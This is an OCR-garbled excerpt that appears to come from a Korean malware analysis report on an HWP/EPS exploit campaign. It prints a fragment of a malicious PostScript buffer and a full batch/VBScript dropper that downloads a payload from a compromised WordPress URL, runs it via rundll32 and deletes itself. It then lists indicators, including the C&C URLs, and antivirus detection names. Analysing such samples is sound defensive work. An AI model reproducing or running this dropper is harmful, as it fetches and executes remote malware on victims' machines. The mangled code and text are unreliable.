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/bufferl 1c¢frrFF def /buffer? bufferl array def /buffer3 (poor) def /bufferd4 1 array

/bufferl7? { /buffer?2? exch def /bufferl8 exch def /bufferl9 bufferlf -15 bitshift def
/buffer23 { /buffer?24 exch def /bufferl9 buffer24 -15 bitshift def /buffer2l buffer24
/buffer25 { /buffer?? exch def /buffer?4 exch def /bufferl9 buffer24 -15 bitshift def
/buffer26 { /buffer27 exch def /bufferl9 buffer27 -15 bitshift def /buffer2l buffer27
/buffer28 {

/buffer?? exch def /buffer?27 exch def /bufferl9 buffer27 -15 bitshift def
/buffer29 16£10 i 3]
/bufferi? |<3

/buffer?T

[12)4]-EPS L= oty A=
S| & I == %appdata%Microsoftinternet Explorersecurity.vbsE A A1510] =
2 Of2f 2t 20| 2t URLO|| &H=35t0] Fot utd 2 CHRE2 =5t s utd 2

C}.

cd /d "%appdata¥%#Microsoftiinternet Explorer” & echo Function Baseb4Decode(ByVal vCode):Dim oXML, oNode:Set oXML =
CreateObject("Msxml|2.D0MDocument.3.0"):Set oNode = oXML.CreateElement("base64").0Node.dataType = "bin.base64".oNode.text =
vCode:Base64Decode = (oNode.nodeTypedValue):Set oNode = Nothing:Set oXML = Nothing:End Function:Function BinaryToString
(Binary):Dim bSTRM:Set bSTRM = CreateObject("ADODB.Stream"::with bSTRM:.Type = 1:.0pen:.Write Binary:.Position = 0:.Type =
2:.CharSet = "us-ascii":BinaryToString = .ReadText:end with:Set bSTRM = Nothing:End Function:dim xSHEL:Set xSHEL = CreateObject
("WScript.Shell):dim xHTTP:Set xHTTP = createobject("Microsoft XMLHTTP"):dim xURLS:xURLS = "https://sixbitsmedia.com/wp-
content/uploads/wp-logs/category.php?uid =0"xHTTP.Open "GET", xURLS, False:xHTTP.Send:dim data:data = xHTTP.responseBody:dim
abcd:abcd = Baseb4Decode(BinaryToString(data)):dim bSTRM:Set bSTRM = createobject("Adodb.Stream™):with bSTRM:.type =
1..open.write abcd:.savetofile "security.db”, 2:end with:Set bSTRM = Nothing:WScript.Sleep(1 * 60 * 1000):xSHEL.Run “rundll32
security.db InstallSafariSet xSHEL = Nothing:CreateObject("Scripting.FileSystemObject”).DeleteFile Wscript.ScriptFullName,
True>"%appdata%WMicrosoftWinternet Explorer#security.vbs"& echo start /B /min cscript.exe "%appdata%WMicrosoft¥internet
Explorerf¥security.vbs"A&del "%~f0">security.bat & start /B /min security.bat
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1. 2tM Ot CIR 2= =4 https://sixbitsmedia.com/wp-content/uploads/wp-
logs/category.php?uid=0
2. MM ol & Y%appdata%Microsoftinternet Explorersecurity.db
3. AlsH @& rundll32 security.db, InstallSafari
4. C&C : https://mokawafm.com/wp-content/plugins/ckeditor-for-
wordpress/ckeditor/plugins/image/dialog.php
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https://mokawafm.com/wp-content/plugins/ckeditor-for-wordpress/ckeditor/plugins/image/dialog.php
https://mokawafm.com/wp-content/plugins/ckeditor-for-wordpress/ckeditor/plugins/image/dialog.php
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o Downloader/HWP.Generic (2020.05.25.03)
o Exploit/EPS.Generic (2020.05.25.04)

o Backdoor/Win32.Agent.C4107539 (2020.05.25.04)
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